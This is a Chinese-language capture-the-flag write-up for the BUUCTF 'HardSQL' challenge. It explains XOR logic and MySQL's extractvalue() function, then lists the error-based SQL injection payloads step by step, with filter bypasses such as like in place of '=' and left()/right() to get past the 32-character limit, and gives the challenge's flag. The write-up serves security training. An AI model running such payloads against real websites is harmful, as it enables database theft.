Buuctf-web-[极客大挑战 2019]HardSQL
被堵
异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假,两个同为假的条件做异或,结果为假,一个条件为真,一个条件为假,结果为真,null与任何条件(真、假、null)做异或,结果都为null
我们还需要用到一个函数:extractvalue()
对XML文档进行查询的函数
还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串
然后,我们开始注入
第一个payload:
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(database()))))%23
库名出来了,接着爆表
发现等于号被过滤,可以用like代替
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
接着爆字段
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
因为用extractvalue()函数,一次只能显示32个字符,我们需要用 left right函数
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))%23
?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))%23
flag{68e2d23a-f3b9-46b5-8298-d0470eca0517}